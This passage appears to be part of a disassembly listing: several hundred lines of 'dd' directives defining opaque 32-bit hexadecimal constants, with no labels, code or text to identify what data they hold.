		dd 0A44B01ECh, 7786616h, 8E4CBC42h, 0E0DB821Dh,	0B7FDE7BAh
		dd 6A1BC046h, 0F19A8F99h, 402AC500h, 85B4961Dh,	84454CECh
		dd 9ECC7501h, 80AF200Eh, 8627FA33h, 7CDD46DFh, 6FD40072h
		dd 0B5BDA713h, 0FC1D8205h, 3EC75C4Ch, 94A2FBE5h, 6CAE483Bh
		dd 963630D7h, 820AACF5h, 909C48h, 5DF3942Dh, 50EB86B4h
		dd 50998401h, 1FE4FCEEh, 8355F023h, 0F806E1Eh, 53C200E5h
		dd 4AE38A25h, 5EFC200h,	0A23565ECh, 36662C0Dh, 742C0C84h
		dd 88991B2Dh, 0AE78D305h, 40208992h, 0E94CBEBh,	7CA192ABh
		dd 0FAE76F60h, 80FB9B0Ch, 0FB8A053Ah, 19709FCh,	55F6C951h
		dd 0C3B1D1BFh, 855841C8h, 2757DE00h, 34D570A2h,	2C22008Dh
		dd 0DD6E6DA9h, 4E005CC4h, 0EF3F0964h, 0D96F67h,	8C26CBEBh
		dd 0BCAA723Bh, 86064B77h, 299A8837h, 0A174010Dh, 10A54619h
		dd 8391279Eh, 95CCDBBh,	45D4A71Bh, 543E5EA0h, 0EEE85E4Ch
		dd 0E5479E00h, 0C061F424h, 5381002Ah, 8E7811B8h, 0BE38EE75h
		dd 0FFA9825Fh, 60F9562Dh, 0EC1C73h, 0B8E6B259h,	3F2533CBh
		dd 0AD62AC00h, 912454FDh, 4C7DBDh, 0D697E0F3h, 0CE670EA7h
		dd 42432D02h, 64DE7312h, 5E27C1B7h, 80CAFF70h, 0EF774A0Ch
		dd 6098861Ch, 9F722127h, 8400B4B5h, 94C34AF1h, 48BA63F9h
		dd 0E8000A8Ah, 2304877Dh, 38E4FDCBh, 8FF89100h,	3642571Ch
		dd 0C0A20048h, 0C5AF5035h, 727CDC6Ah, 2386B507h, 0CA20D62Bh
		dd 17A34426h, 0C263FCh,	29BF56A7h, 0B3024E80h, 7089730Ch
		dd 28CDAEFh, 90405E65h,	0B0A331A2h, 4DC8A97Ch, 0EB00CD7Fh
		dd 9D6953D7h, 2C6AFB2Ch, 0E51F3CC3h, 0E3148050h, 9800295Ch
		dd 9E376AF1h, 264170F7h, 0A8ED01A8h, 0C75750FDh, 89520367h
		dd 4C281E2h, 0EA508576h, 14168706h, 0CDC05C24h,	8343D968h
		dd 10110CC3h, 3C3C560Dh, 67BA5200h, 0B91AC911h,	41F2F914h
		dd 8BD118A4h, 0A1C48148h, 3CE9542Dh, 48510A4Ch,	64040C56h
		dd 0B0313493h, 8F075E16h, 77810847h, 46240F3Ah,	836CF73Fh
		dd 0A4590F40h, 4FE90F27h, 9DC9FC73h, 90BE6100h,	42135039h
		dd 0AE00CB79h, 0B09C3B8h, 0C5030006h, 0D6A3E0FFh, 99037DDAh
		dd 0DE3E18DBh, 0B47A9BAh, 229DDCh, 2395D6ACh, 1F629C21h
		dd 3A009EE4h, 0B94C5351h, 0FEAC27h, 14A96D1Bh, 0AB3F5E74h
		dd 0D48E501h, 5C1CB89Bh, 13B0C8h, 10E72FE2h, 64CA900Fh
		dd 0D4787E00h, 552CDF6Ch, 7C0A0002h, 34232E16h,	0C1002639h
		dd 0AD6C1403h, 74D2871h, 0CC3B04EBh, 0B5E9421Fh, 83004958h
		dd 771EB352h, 17AC4Bh, 12A74270h, 0CA13C6Bh, 9F326513h
		dd 9C57DE01h, 7471D869h, 1241D6DCh, 0CD689Ah, 31C66171h
		dd 800F664h, 4398E897h,	0F9CBE2h, 58A1FC2Ch, 0C52402BFh
		dd 1D01FC9Ah, 14C257EAh, 0A8233E6Bh, 4B905B25h,	4F00EE1Ah
		dd 0C250FA8h, 0C25585h,	0B2E48D1Bh, 2A9B891Fh, 278B348h
		dd 0B7B8A275h, 8108C08Bh, 0F62000EEh, 0F0992FC6h, 805827C2h
		dd 4F027A28h, 4EF58A1Dh, 5B62401Ch, 0DA8F482Eh,	35EA3400h
		dd 76E7D585h, 0EEC159C1h, 0F80A91Ah, 363721F4h,	0DC5D7104h
		dd 2C187486h, 1823CD3Eh, 0F1621850h, 693C0EB2h,	0C5DEC806h
		dd 238BF9h, 96C46D73h, 0A445E00Dh, 0D15FBA00h, 0AEFEC60Fh
		dd 61142419h, 0CF789245h, 67170E3Bh, 53159879h,	0C3F10080h
		dd 0FEE88128h, 4A9630A5h, 8001AA08h, 4F7C250Eh,	76000FB6h
		dd 0C05F8B8Ch, 0B8669219h, 6A990957h, 0AB6039CFh, 3F4CC6DFh
		dd 45CC008Dh, 2ED57C17h, 53D3005Dh, 0FC2AF487h,	180047D0h
		dd 0FC6147Dh, 3E7B0AA6h, 29016506h, 57C95EF9h, 1971D62Ch
		dd 0AD56D900h, 3006F445h, 0E0BC3495h, 971EA40Dh, 7C807FB3h
		dd 130412CBh, 2B740090h, 19DCA1D4h, 0C1005C8Ah,	4AA3D6D7h
		dd 188D244Eh, 44E12E9Fh, 3D00A679h, 63045DDAh, 1EF727CEh
		dd 47CA60h, 0D6B88AB9h,	9528AE98h, 9E02BA0Eh, 0AB52E517h
		dd 0CCE5024h, 0A6CB3C2Ah, 4300164Eh, 0C747D18Ah, 2F03E21h
		dd 0AF09F7EEh, 8D54E519h, 75394996h, 0F2E070D4h, 0CC17CB81h
		dd 0B15105h, 0F6BA6198h, 6B0FD563h, 21089D38h, 5EEC932Eh
		dd 0A4EC7871h, 0A635867h, 0FC95C400h, 4AD4B755h, 0DA618414h
		dd 8D673CE8h, 5EDC58C9h, 0DBE4D0C9h, 536B07DDh,	66D1BB8Dh
		dd 4153A340h, 6D0801BFh, 0D1B56C6h, 48C05274h, 4926094Eh
		dd 4FB000E8h, 407B79Dh
		dd 77CB2F60h, 306531D8h, 0DF6E80F7h, 0F6B8B886h, 731AAB05h
		dd 0B0C5BAECh, 58923E82h, 14822F0h, 0A225AC02h,	0E03C341Ch
		dd 0FF68D6h, 0EA8DFA09h, 696A5489h, 0F9A03B16h,	0C0AE7E00h
		dd 5A2FF4Fh, 26C79A49h,	15A45890h, 4C0E31CCh, 0FC82AE66h
		dd 9F0AC6F0h, 57C80056h, 39F599D4h, 0B900CC79h,	17A0CECFh
		dd 0B02B5DEAh, 0B7580967h, 58807710h, 62F8F078h, 0CFFA7417h
		dd 4215DB00h, 0FECC29ACh, 0F37E7Eh, 6DE4B21Bh, 81FF5944h
		dd 0F703977Ch, 781542C7h, 1194A1D7h, 0D4C0B4FDh, 0A3D00239h
		dd 20210B85h, 3CBFAE80h, 340AE601h, 9153D546h, 0E44D813Eh
		dd 6CFE754Eh, 60ECC8h, 7D6708EAh, 5A2D9864h, 498428C0h
		dd 0F52151FFh, 0C26AD30h, 0A957EC8Dh, 4E004F6Dh, 59E0871Eh
		dd 0F88E29h, 6F8DFF75h,	56EA0C0h, 264E2400h, 2F19B6FDh
		dd 86655C16h, 5C0EAE49h, 0B58B785Dh, 408B4205h,	820AC6D7h
		dd 4405F48Ah, 4DCFCDC1h, 99FFF00h, 90B1AA1Bh, 22F50200h
		dd 0B944F238h, 3C0F9C80h, 5E070795h, 9490CD30h,	2E5802E0h
		dd 0A2A3018Dh, 973ED372h, 81093167h, 75A52C11h,	0A0283BE2h
		dd 1CAB4400h, 81C98EEFh, 970EAD2Eh, 2CF09701h, 0D6C48F99h
		dd 2513001Dh, 1FCD62F5h, 0AE134776h, 36D06E07h,	295EED8h
		dd 1FB64240h, 41487A9Ah, 0EB0019C2h, 0A710A950h, 43B260Bh
		dd 0BEA86A66h, 8063B2F2h, 0A92CC295h, 7D7705CDh, 1E7A1FBEh
		dd 0CAE38136h, 82998DFEh, 8A33B12Ch, 8247C05Bh,	0F33D0198h
		dd 0C5B39C23h, 9F258254h, 40952BCCh, 7E015F94h,	82070093h
		dd 0BCC4AE4Fh, 0F748ADCEh, 8558016Fh, 0E0513FEFh, 852B139Eh
		dd 58B9676Eh, 2DF517C1h, 0FCE3F35h, 0C0BBBAC0h,	36F3CAA7h
		dd 0C04B44E4h, 9D8B93CDh, 4F022B4Bh, 0C090BF68h, 29CBB57Ch
		dd 8009FED1h, 5CFB2BB2h, 6D0416C6h, 60D1A540h, 0A1AB4BB0h
		dd 10ECE7B3h, 2CE1875h,	9F11B4Ah, 8D188601h, 0EAF82A78h
		dd 9BA5C0h, 82227DADh, 5FB8C61Eh, 0AAC1800h, 0B2716A9Ch
		dd 0DB700011h, 0FC928A12h, 5E592979h, 562B340Bh, 1E00BD7h
		dd 98A08Ah, 97849DAAh, 6E15E841h, 58B7E700h, 0DF409488h
		dd 17671EF4h, 0A3C580D4h, 8AF50F1h, 0FEA79D00h,	0FA933ACBh
		dd 6BB50510h, 801B139Bh, 0C2C952F1h, 0C8662D00h, 5360A690h
		dd 3B8C02BAh, 0C436CB9Eh, 0F906A690h, 4700F77Bh, 3CCA7144h
		dd 5DC86793h, 2C007E21h, 88114142h, 302CBF5Ah, 3300FA04h
		dd 22C95C8Ch, 0EB7C94h,	0F6E07920h, 0A4BBF7B0h,	14E453Ah
		dd 0F493C36Dh, 8822B55Eh, 0CBAC100h, 0AFD6E5Ch,	48418400h
		dd 5A8A8B75h, 8D1400BBh, 0B11CC35Eh, 7050DE68h,	690510D5h
		dd 76F79E39h, 2C306CE5h, 5DF9947Ch, 16DB6806h, 34891C5Ah
		dd 81E6C424h, 839CA4C6h, 8760EE76h, 89535C1Ch, 0C3812AE3h
		dd 1CEB4010h, 13454783h, 0D458376h, 50088016h, 0B0AA9B8h
		dd 3FC6F206h, 0ECA048Bh, 1CEA54E4h, 53510007h, 595ED568h
		dd 0F75B1A00h, 89E381DBh, 3A093B3Eh, 32FCB03h, 0F3E01508h
		dd 35EC2327h, 5BD9890Eh, 314D7D01h, 75285559h, 0C4A83A3h
		dd 22827252h, 6D2D385Eh, 0F87980h, 897E0B5h, 0FBCB8F4h
		dd 36601D96h, 0F87C4FBAh, 19551CA7h, 5CA3C0B8h,	1B986607h
		dd 6FC62804h, 8680B04Bh, 39773E25h, 31000F02h, 0BF40063Dh
		dd 5C007824h, 0E753FBA5h, 367DB2Ah, 467E29A7h, 51E82DE3h
		dd 6E26191Bh, 1C00FD07h, 8799A131h, 0A7DB000Ah,	0D33916C5h
		dd 790075F6h, 0D029E53Dh, 0F250F7D4h, 3B8E00DCh, 46E9176Fh
		dd 221D1234h, 0F1034740h, 91C18B76h, 102FD9B5h,	31DCDF98h
		dd 299118h, 0BFF99589h,	0B18CF75Ch, 20BD1918h, 50272D35h
		dd 167F6460h, 90AA7D8h,	24C061C6h, 0F85E8B66h, 0BFDF00AAh
		dd 7908C787h, 1B8C0F28h, 0E7816606h, 1066F8A8h,	760B1287h
		dd 60800EF0h, 0C1BF000Fh, 83615B53h, 76BD05C0h,	0A02DD681h
		dd 0A0F537h, 0F72F5DEBh, 29EC5A00h, 7F2AB72Eh, 587007Dh
		dd 5EC8F031h, 54BF5090h, 0AEFB800Ah, 646E9C20h,	0C38A861Ch
		dd 66525040h, 3A71ADBFh, 0A481310Fh, 5A227020h,	7F42AF58h
		dd 7F809D35h, 8917CE74h, 85013DBCh, 0B94A07A5h,	49DAF5h
		dd 0DD275809h, 8B90C004h, 0D3E35F00h, 0F22F124Ch, 5B55F44Ah
		dd 3E2FFA6Ah, 3E011523h, 3D95FF8Fh, 0A96F0425h,	0EDCACC8h
		dd 98A1E04Fh, 5FFA8BE0h, 0D52F9D8Dh, 619D5D93h,	828E1D11h
		dd 7D845680h, 0B104668Eh, 0D3FF90DCh, 17BCB3B8h, 84CC098Ch
		dd 6E023C83h, 0FF011FD1h, 103A5985h, 15B82B72h,	2B6E3E8Ch
		dd 116BC78Eh, 61DD5DABh, 162B02F0h, 0F9D8FFDBh,	957E9091h
		dd 1C11AB9Dh, 63F43980h, 0ED093B20h, 0E745EF6h,	58CFC94Bh
		dd 30C40EFh, 811BD1Ah, 701F5C0Ch, 14FD986h, 14C8C7CEh
		dd 0BD2BA9C0h, 3D069785h, 71207E56h, 705E5C04h,	0E14F11Ah
		dd 589853F7h, 8AE4A64Fh, 6F7B4214h, 50D44FD9h, 0BD0D19C7h
		dd 80F076B8h, 5897DB0Bh, 0FE49D6D3h, 96C1929Ah,	0EC0D2AFDh
		dd 0BD260BA6h, 8B9D4FC5h, 522B098Bh, 10D110A4h,	456D8D0Bh
		dd 0ACB3ED7Ah, 139A70FBh, 0E0921F1Ch, 5BEABEE3h, 0E961A409h
		dd 0D840DBB3h, 0A439CA70h, 75E78EC5h, 0D13E096Ch, 57E8000Ch
		dd 42A8C7DBh, 9016100h,	5075C324h, 0F42D620Eh, 0C702327Dh
		dd 6F011185h, 2FE90AEDh, 0F8579609h, 0E914403Bh, 5EBF4070h
		dd 8F62DEC8h, 140DF5ACh, 0B4FB15E1h, 1E015A24h,	542A4D9h
		dd 55DCFE8Eh, 0AC131311h, 5D5A1469h, 0C24554D9h, 2522A944h
		dd 0F9929F0Eh, 58FDD3DFh, 0AD00A26Bh, 3ECE3D1Fh, 880CE990h
		dd 4B00EC5Ch, 58DBBA33h, 485079B9h, 83280C02h, 2D0AB566h
		dd 1B467470h, 19485107h, 0CEDDF00Bh, 291E601Eh,	0F3B01DBDh
		dd 0B5F561FAh, 10553991h, 17E1CF81h, 48324521h,	6C27021Ah
		dd 88505B49h, 4500CB51h, 0F5637705h, 948FC1h, 961A2E02h
		dd 0B80B6ACAh, 5A87EC17h, 0B8672250h, 0EE038C1Dh, 63E2A867h
		dd 58E38876h, 4A6A1B1h,	39B0C727h, 0A32EBA6Bh, 0ED24F667h
		dd 82E32F09h, 51B8D77h,	0F668D0B0h, 0E624CF14h,	0DECE70h
		dd 0BBF630B2h, 9BCEB098h, 58852430h, 278A33DEh,	94CD71E4h
		dd 2A278FC0h, 84FC5ACFh, 88C18E4Fh, 1E61C215h, 0B16B9D4h
		dd 0DB5858B6h, 12231110h, 0DA3AC38Bh, 0B1041623h, 3C12874h
		dd 256A0381h, 21B6FB32h, 0C50D9EB0h, 17589900h,	0F9BE6663h
		dd 0C1C0C504h, 0C276AC03h, 0E3D82BF3h, 504BECB6h, 0ABAC48F5h
		dd 966602EDh, 0F3D5898Eh, 0B4052451h, 0A800A48Dh, 3EA6CCFDh
		dd 9C770038h, 829ED717h, 5F6950AEh, 768C4202h, 0FDE66CABh
		dd 0F8011840h, 0DD085A95h, 0EFE43079h, 5EB0BD2Ch, 1A4676h
		dd 576B54CFh, 0C4DD47C4h, 14312974h, 0E8385852h, 45008C17h
		dd 9EE47BFh, 9F138185h,	0B3CF1E30h, 3F3CCC00h, 7E56FFA6h
		dd 0A2F82440h, 78BF2B5Eh, 0C804E9D4h, 29457B50h, 0A49683F8h
		dd 2411EF1h, 85296D50h,	0FA97D039h, 342C7B12h, 0C0919B54h
		dd 924C5302h, 2801091Eh, 0E10E9BAh, 4F78DB5Fh, 9A00E17Ch
		dd 1CE6813Fh, 0B701255Ah, 859DBC01h, 0F8660C03h, 0F2BE04F7h
		dd 95590C53h, 23713A42h, 0D7AB0017h, 0B70FCED2h, 4F62F248h
		dd 1980CDDBh, 0E1783763h, 5B52EB8h, 95ADF8F7h, 50016E10h
		dd 5E1DDF2h, 229592A8h,	8E14C9BCh, 3CD140FAh, 0B5C55A4Ah
		dd 0B0FDF6FAh, 1467D870h, 0B80B38E2h, 5A333D10h, 4C0ED793h
		dd 49106BC1h, 0B7855A12h
		dd 0B0F8A6EAh, 13EF1784h, 0AB396437h, 0BD899702h, 0D41D6A61h
		dd 56B844DFh, 3942A3F7h, 343114A2h, 0AFD6289h, 9500EAFBh
		dd 6A37F501h, 0CC730256h, 5B52867Ch, 1B442747h,	331D1660h
		dd 0FD01E1FAh, 0B529645Bh, 57322135h, 0F0B6110h, 0CB03C32Bh
		dd 5B7E2B59h, 0D9C53B1Dh, 6BB2289h, 19B98D09h, 174669BFh
		dd 4BE65B7h, 8B5578CBh,	40CC4E84h, 1FD12295h, 6CC8C05Bh
		dd 9EF8003Ch, 0ADF3B73Dh, 5D026186h, 0B589D99Dh, 5F0749E1h
		dd 0AB19576Eh, 7569FC92h, 44AF3960h, 0B4F2D1Dh,	84BCC241h
		dd 10C8FA73h, 6DBD128Bh, 0ED30952Eh, 4EA7B41h, 459B715Fh
		dd 26C0B98Dh, 330AF095h, 7B88094Bh, 0E948E85Dh,	197912FEh
		dd 0C51F050Eh, 0A79F0013h, 251A332Bh, 0A5885699h, 645E9885h
		dd 284EA19Dh, 70851568h, 6EF4823Fh, 34E70B16h, 46E4Ah
		dd 0EF22B68h, 0C702820Fh, 22FE8B1Bh, 84E160F9h,	0D769F9C1h
		dd 6661DAD9h, 9DF92CA8h, 0C8560FC9h, 81900013h,	0A9CBF4E7h
		dd 259B715Eh, 0AFCD3E81h, 0C7006B14h, 0A9CA81C0h, 13D7793Bh
		dd 82D19D8Bh, 30976104h, 2931811h, 3A0F7EF5h, 54FAF5h
		dd 116F1832h, 8833065h,	0CCB77000h, 773C44E0h, 0D1979990h
		dd 27C61816h, 0C1378928h, 4FC60B01h, 7221F6AAh,	0F2247Ah
		dd 809CF2CDh, 52006BD1h, 616EE34Ch, 5ADD35h, 37422E3Ah
		dd 11C9BD03h, 0D44039Ah, 24AF00DDh, 6539EF19h, 170970A8h
		dd 6D8C3C4Bh, 0C997C000h, 6801D494h, 0F2516B8Eh, 0D351F5CCh
		dd 31021F01h, 126DD41h,	31448C0Fh, 680D4E1h, 28E961DEh
		dd 7FE3FFF7h, 0B300366Eh, 86EB1F2Bh, 0F726C487h, 0F90819D9h
		dd 0C12D3B04h, 7C0266B7h, 250EE877h, 9388C0A7h,	7426F613h
		dd 5E03F2F7h, 37408742h, 0ABF5ED70h, 605CF866h,	1DF937DFh
		dd 10919561h, 0B97F6125h, 997AC29h, 0DCD765FEh,	44D2882h
		dd 0D7AF20F3h, 139232B5h, 90FEB905h, 1B73F4EBh,	0AD042800h
		dd 0F195C641h, 0E6C105BAh, 0C053A420h, 5FA69B29h, 0BF3950E2h
		dd 6B7F05C7h, 9A27E990h, 0A5037A60h, 0FD7800A3h, 0F2E4E02Ch
		dd 0B16B9161h, 0A95D636Eh, 33921F8Eh, 457620E8h, 3D79A94Ah
		dd 0AF701000h, 0F2A8D791h, 0BCDC0F7Dh, 2CA8B1Eh, 9DD08BDh
		dd 0FBB74FB1h, 1DBB8840h, 6E7BF90Bh, 7FF2004Fh,	0B9FF475h
		dd 206590DFh, 90B60585h, 692A28F6h, 329520DCh, 0C23E504Eh
		dd 0B2061623h, 2F50FC67h, 3DDF12C5h, 0B81480AFh, 0FE0CD82Fh
		dd 0F7AF2ABEh, 53D99212h, 0F41BBA2h, 1CAC356Dh,	9E26008Ch
		dd 683F5E83h, 0E906A133h, 7F1BD01h, 69D34979h, 409A23BCh
		dd 0BC3779E1h, 0CD3E8C17h, 2212AC86h, 0E9019901h, 3478089Dh
		dd 3D4AC5B2h, 0BA704CF3h, 1AE70A99h, 0BB5E225h,	27CD04CDh
		dd 2C62D791h, 4090B5Dh,	2AA1A9C3h, 0CB81D29h, 2ED7E700h
		dd 0C6372CBEh, 6BFFB664h, 27C0F14Dh, 2FFDB280h,	1A25432Eh
		dd 0B069B7E0h, 4C6A1847h, 92547B1h, 63802E79h, 57ED02CDh
		dd 432C0346h, 44D0624Ch, 507439B0h, 0E7C47700h,	0F3EE81DFh
		dd 0DD80BE5h, 9E05835Fh, 2130E21Bh, 2953FA34h, 6580F896h
		dd 5FE90238h, 0F360AEA8h, 98D4B56h, 0B9EDE4E1h,	4120F85Eh
		dd 0DBF3014Ah, 63016E2h, 700B92A6h, 68E980B1h, 0F4B87CBFh
		dd 0D7C45126h, 290B0611h, 35A8659Dh, 0FC104E5Ch, 352E8C15h
		dd 73607A3Dh, 0CB7564h,	45A1B72Bh, 404A42B3h, 75B4D42Fh
		dd 430AD629h, 0D66E4878h, 17238C48h, 329DFB8Bh,	1D88E14Bh
		dd 7BD130C0h, 25DC0014h, 0AF18534h, 0B6948A0Fh,	25E1FB45h
		dd 898EA028h, 86D859A0h, 0FB7E80A6h, 494FBB17h,	8CE3CCBAh
		dd 255F5E84h, 4A1DA815h, 16C0429Bh, 51B58B67h, 2C74075Eh
		dd 9D0182B2h, 0F9C85894h, 0D877D522h, 50713CD5h, 310F5207h
		dd 0B3D0BE57h, 4C5E05F1h, 6D4C065Ah, 0D32FF5Fh,	357DC4B5h
		dd 0FDA9E6E9h, 460B872h, 30190FB3h, 0AEA08429h,	0B0DA5827h
		dd 0C9958905h, 0F4FB2FBh, 0C270E6F3h, 0F771E4FAh, 815B845Bh
		dd 89C460A5h, 0BA64E585h, 0F10C03B9h, 16114B6h,	9EAE25E2h
		dd 0C19584F6h, 6D236DD0h, 590192E5h, 0C38BC8A7h, 0CBB8C129h
		dd 96AA6F00h, 1A085D9Ah, 8BF31660h, 0FEE6C5F0h,	4DB0D8E6h
		dd 900442F1h, 12E9EE9Dh, 2E551FC1h, 6F96E36Ch, 0F203127Ch
		dd 1246C8h, 0BAFC7FA3h,	0E05C22Eh, 3A48800h, 0C5B5232Fh
		dd 21E89501h, 0DE1E8A60h, 2AD58D8Bh, 89502DABh,	0D0E641F3h
		dd 0A9D24F38h, 1C8B80Eh, 45981686h, 2A331C74h, 2F39C1DDh
		dd 5E99FFA9h, 0C2402FE8h, 6F941A54h, 0F681011Dh, 2BB5A387h
		dd 0F58205Fh, 946E8F48h, 45247D2Dh, 0FCE0BF0Eh,	0C6F273h
		dd 0CCCEDB80h, 615B43C9h, 84806990h, 6B90EE18h,	0B69E4A0h
		dd 3264DCB6h, 3CBC0955h, 0D99E3Eh, 0C97E7113h, 0BC459D89h
		dd 0B6702AA2h, 7900DC99h, 7EC383Dh, 25607A6Ch, 0CCDB61F8h
		dd 67181C51h, 7DDD9600h, 2A62AE2Dh, 40F39CFCh, 7B1AC5F4h
		dd 408C70Fh, 0AC97078Dh, 2ED02C40h, 80C59978h, 0B287548Bh
		dd 2A006ECAh, 776DED50h, 1648BFBBh, 84513010h, 0C26FDB64h
		dd 0E22390ECh, 0AA2750D5h, 4D7655D7h, 602514D6h, 0C512C914h
		dd 0F5D23219h, 30509E41h, 2E12B932h, 31DB585Fh,	53639582h
		dd 0D4551F2h, 5849203Ah, 912F8F84h, 41551237h, 3578F0B6h
		dd 48CF8101h, 79220CA7h, 29EA3014h, 2F2512BEh, 13093533h
		dd 0D589C937h, 13C0C1A7h, 0B0890C79h, 0D6D80D7Bh, 0BBA709AFh
		dd 4B85BE3Bh, 4B8F8B81h, 5C00ECA3h, 3D28CA9Ch, 54759ED1h
		dd 42809700h, 0B9DB0B8h, 33580573h, 8832E585h, 3DDC880Fh
		dd 5C25B17h, 12F3DBC3h,	8BA7AB4Eh, 0F49B78A1h, 1D0621E7h
		dd 2CE96631h, 786CB321h, 201CC422h, 788011D2h, 0F51AFE72h
		dd 35C0488Bh, 52355B70h, 80B19BF0h, 55DA7197h, 0D0854BC7h
		dd 47CB7705h, 11F21650h, 3D22045Eh, 0C1222009h,	9F02F0BEh
		dd 7E340857h, 0E4A8D95Fh, 0ECE9BD4Dh, 0CB5200D8h, 419B31FEh
		dd 0E097BB24h, 164CE6C7h, 6A85FF92h, 9152344h, 5E5B6339h
		dd 29C1BD0Bh, 0D60B747Ch, 5C091646h, 73D0B7D3h,	65BD2B17h
		dd 1890604Bh, 2C52254h,	350BF78h, 0AA4965B5h, 0B87F2D5Eh
		dd 3748B0B1h, 62CF2615h, 290B2829h, 0DCA6D4C8h,	591438E0h
		dd 0BBE3A3Ch, 1943D7h, 414FFDABh, 97B8B84Ch, 0B75F9ECAh
		dd 3A4600F0h, 9B5A6402h, 6027D001h, 2F999531h, 1400CB67h
		dd 10A3FDB9h, 0DD0C92A5h, 0DC311641h, 0FC6125CAh, 1B0B6D37h
		dd 9D42847Eh, 1F696EBEh, 5B4061C2h, 67EB8EE8h, 40A7961Fh
		dd 7AAE3508h, 1188B103h, 0A0BC0568h, 2E12214h, 8BA33EB3h
		dd 0FE842980h, 9501041Fh, 0E91641A9h, 47D5C487h, 0C0D64329h
		dd 3F58B12Ah, 0D239A200h, 2D7F5A10h, 4B60B28h, 0C8DF1B23h
		dd 0F4834CE2h, 0D0910E9Eh, 0E8C0EB9Dh, 0E90E8438h, 44B649h
		dd 6D0293C4h, 0B8FB9AC6h, 0F6912E70h, 0F28B0110h, 8083B65Dh
		dd 0EFAAC208h, 99429BCh, 9025C0EDh, 8700315Ch, 8015B0E0h
		dd 574500B3h, 4398CBE6h, 48001A31h, 4F7BFC2Ch, 680FB0h
		dd 7D13AEE1h, 5CFFECFAh, 37F2EF00h, 6F9F464Dh, 0AA3100D8h
		dd 39BAED7Ah, 0C7006E09h, 45EC8D2Eh, 0F392BEh, 9F48884Ch
		dd 9A33DA6Dh, 0CB55B000h, 0E580AD56h, 0A5C2057Ch, 0E86165A2h
		dd 199E00C5h, 11AA51ECh, 0B5500082h, 0A6D87F14h, 0CF00760Bh
		dd 0D5630A9Dh, 67FA2Ch,	0C14F7C7Dh, 3DF1D93Eh, 0D6E48C00h
		dd 0A3599102h, 9DC0049h
		dd 0D56C168h, 0E3061503h, 58FC6D5Bh, 7F470C1Eh,	6B2D2091h
		dd 68F79800h, 67FC9D38h, 0D1EA95B9h, 59128455h,	6B9BA037h
		dd 0EBF625CCh, 7AD34FC0h, 0F0AB2AACh, 311912AFh, 2E91B552h
		dd 1C8078Ah, 0A2253180h, 3E2BE4h, 0DB117A0Bh, 5859436Ch
		dd 0EA912C01h, 2983763h, 0F8B26E4h, 0D20188A1h,	8CCC9041h
		dd 4F892EE3h, 609886E4h, 0DF74156Ch, 6D000838h,	67FE2ED7h
		dd 93D27C0h, 0F92CC436h, 5F51D676h, 82724h, 0AC41D407h
		dd 107AD505h, 8AFC78E0h, 27BD5E05h, 9AEC4E7Eh, 0ED748D00h
		dd 0DF7D24BFh, 0AC32FC05h, 8904B039h, 0CB409BA3h, 0EA986248h
		dd 0CA9A4606h, 0F614E0h, 78F49454h, 0B5B6A093h,	48EF8200h
		dd 336937BAh, 7CE700DDh, 1644452Fh, 4D00D47Bh, 0CB6A961Fh
		dd 77F5832Ah, 0A2FC0007h, 7F0EE149h, 0C00B352h,	0AB6BB548h
		dd 0C24CDFh, 0FA902154h, 0D68B7077h, 5069DB25h,	95FE1E59h
		dd 0ED0D005Dh, 646B5522h, 98ABD00h, 0FB943BD6h,	2CB3125Ah
		dd 22B2ECFDh, 0E78801DAh, 0DD78A851h, 593CECF3h, 0DC09CF0Ah
		dd 0FE08EED5h, 0EC62924Eh, 0BF5EC063h, 90A2D4D5h, 0BDF80BB5h
		dd 9603C573h, 4490E669h, 0AD0407DDh, 2C9EA58Fh,	87F520BAh
		dd 0D117BB5Ah, 28F41D8Bh, 2BD22E35h, 0CE220709h, 9D24416Ch
		dd 0C6D2206Bh, 73B37D00h, 0DFE12F88h, 0C96650F6h, 480144E4h
		dd 4E7C2500h, 60F124B3h, 362000B9h, 0D66C0735h,	0C7603826h
		dd 553F126Bh, 5AE013Ch,	0EC5D4BD3h, 371A80F1h, 0BB1CC364h
		dd 7B1BF8ABh, 0E56060AEh, 0F87B11A4h, 0A577C504h, 3DD3AFE0h
		dd 313A2448h, 0BAD30624h, 3701E533h, 0B9548304h, 0C4A57912h
		dd 31C201D0h, 55F0BC8Fh, 97E03000h, 711D9F89h, 0C8AF40D6h
		dd 0C09CA383h, 2AF08BA0h, 0AA01ED56h, 0CE679A29h, 57E08E27h
		dd 84EF0369h, 53FC47A2h, 0BA49BADCh, 5CB40064h,	170D24D9h
		dd 0E42F41C6h, 5B4CDE53h, 16488Fh, 61D2A685h, 439BF3h
		dd 24784CBh, 0AC342DECh, 0A338D900h, 790E72F5h,	0BCE7247Ah
		dd 0C3C00B8h, 0D52575B1h, 2F47070Fh, 0B01BC08Eh, 24439CB4h
		dd 68C3F0h, 8C33CEFCh, 5704E11Ch, 1A245FD7h, 867426C0h
		dd 602FCB15h, 0B04CF9F0h, 0B73E00A9h, 0D75AF087h, 0FDB30949h
		dd 67542BCEh, 1D002A24h, 0CF640333h, 0C50502D0h, 47D71FB5h
		dd 2A3B0449h, 0F80C538Ah, 0E411990Ah, 4271101h,	30A18F7Ch
		dd 7F6D1786h, 590B0D0Eh, 0D82BFE86h, 0FA582885h, 502302AFh
		dd 65F222A9h, 0C038B064h, 0A1120C90h, 0ECC8E9h,	5FE27819h
		dd 258F5CCFh, 2E1CD006h, 9820B1BDh, 0AA9400CFh,	65530391h
		dd 18C9B0F4h, 0E851033Fh, 0F0294A77h, 5898049Ah, 30E99A09h
		dd 787B81E6h, 25A0198Ah, 0D5023EF0h, 31C973Ah, 1FB604D2h
		dd 250CE908h, 605CD96Ch, 793B1904h, 40B50E00h, 0E2895C56h
		dd 24A53016h, 34BDE922h, 44A1024Ch, 320060EBh, 863FF097h
		dd 98CD7CB8h, 5BE2008Ah, 7821D167h, 0C518AF4Ah,	9455E7Fh
		dd 64A17036h, 0BA768B7Dh, 300C923Ch, 0F817AD1Eh, 0EE708425h
		dd 0E0007EFFh, 0D85F06D9h, 780D0CA8h, 9310A1D1h, 82EDDB28h
		dd 0A23D6B00h, 0E37A9AFBh, 8FCD02EEh, 2FB8EA79h, 24BD1140h
		dd 18DC8303h, 0D47BBB85h, 0F8EB12BFh, 0D1BF05B1h, 0F7F80D60h
		dd 9E961EC0h, 23B1A08h,	99411FE8h, 6B0CA540h, 0D3DC4h
		dd 1F68D37Ah, 857D0511h, 0E901EF00h, 723B8BC1h,	0FC9701C9h
		dd 0B0451812h, 0A9217E3Eh, 7700CCEEh, 1CF09FCEh, 0A84F2200h
		dd 0C156F121h, 4BEA071Ah, 278CD8A4h, 0CF406E0Fh, 5AF5FA4Ch
